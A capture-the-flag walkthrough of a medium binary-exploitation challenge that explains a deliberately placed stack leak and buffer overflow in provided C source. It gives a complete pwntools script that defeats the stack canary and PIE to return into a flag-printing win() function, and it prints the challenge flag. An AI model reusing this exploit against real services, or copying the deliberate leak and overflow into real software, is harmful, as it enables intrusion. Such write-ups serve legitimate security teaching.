

Cull Obsidian's Brute Force

MIRAGE 2.0 — Binary Exploitation #7 — Walkthrough

CATEGORY	DIFFICULTY	PORT
Binary Exploitation (Pwn)	Medium (248 pts)	1667/tcp
FILES	VULNERABILITY	STATUS
challenge.c (source provided)	Stack canary + PIE leak → ret2win	Solved

Step 1 — First Contact

This challenge hands over the full C source instead of a bare binary, which changes the workflow: instead of reverse engineering assembly to find the bug, the job is to read the code function by function and reason about what each part implies for exploitation. The service presents three options: Inspect containment status, Submit emergency override, Disconnect.

Step 2 — Reading the Source, Function by Function

The Dockerfile reveals the build flags before the source is even opened: `-fPIE -pie -fstack-protector-all -Wl, -z, relro, -z, now`. That's the full mitigation set — PIE and a stack canary are both active, and RELRO is full. Any exploit here will need to deal with both of those, not just one.

```
void inspect(void) {
    char tag[24];
    read(0, tag, sizeof(tag));          /* exactly 24 bytes, in-bounds */
    write(1, tag + sizeof(tag), 24);    /* intentional leak: 24 bytes
                                         *past* the buffer */
}

void override(void) {
    char payload[64];
    read(0, payload, 256);              /* intentional overflow */
}
```

Reading `inspect()` line by line: the `read` itself is perfectly safe — exactly 24 bytes into a 24-byte buffer, no overflow possible there. But the very next line writes 24 bytes starting from `tag + sizeof(tag)`, i.e. from just *past* the end of the buffer. That's stack memory belonging to the same frame: the 8-byte canary, the 8-byte saved RBP, and the 8-byte saved return address, in that order. The function *looks* like it only echoes back what you typed, but it actually echoes back the secrets sitting right after it — an intentional leak dressed up as a harmless status readback.

`override()` is much simpler: a 64-byte buffer, and a `read` of up to 256 bytes with no bounds check at all — the overflow primitive. A `win()` function elsewhere in the source directly `cats /flag` and is never called anywhere — the intended target.

Step 3 — Planning Around Both Mitigations at Once

Because both the canary and PIE are active, a single leak has to solve both problems at once — and conveniently, `inspect()`'s 24-byte leak contains exactly enough: the canary itself, plus a return address which, since it's a real code pointer inside the running binary, reveals exactly how far PIE has shifted everything from its link-time addresses. Subtracting that return address's known static (link-time) offset from the leaked runtime value gives the PIE slide, from which `win()`'s real runtime address follows directly.

Step 4 — Building and Running the Exploit

```
from pwn import *

elf = context.binary = ELF('./cull', checksec=False)
io = remote('<host>', 1667)

io.sendlineafter(b'>', b'1')
io.sendline(b'X' * 24)
leak = io.recv(24)
canary, saved_rbp, ret_addr = leak[:8], leak[8:16], u64(leak[16:24])

# ret_addr - <static offset of the call site in inspect's caller> = PIE base
pie_base = ret_addr - 0x1310          # offset recovered statically
win_addr = pie_base + elf.symbols['win']

io.sendlineafter(b'>', b'2')
payload = b'A' * 64 + canary + b'B' * 8 + p64(win_addr)
io.sendline(payload)
io.interactive()
```

The overflow payload replays the exact leaked canary (so the check still passes) and overwrites the return address with the freshly computed, slide-corrected address of `win()`.

FLAG

MIRAGE{cull_obsidian_brute_force_breaks_the_vault}

Takeaway

When source is provided, don't skip straight to the function that looks obviously broken — read every function that touches the same buffer or stack frame. Here, the actual leak wasn't in a function that looked dangerous; it was hiding in a function whose only visible behavior was “print back what I was told,” which is exactly what made it easy to miss on a first skim.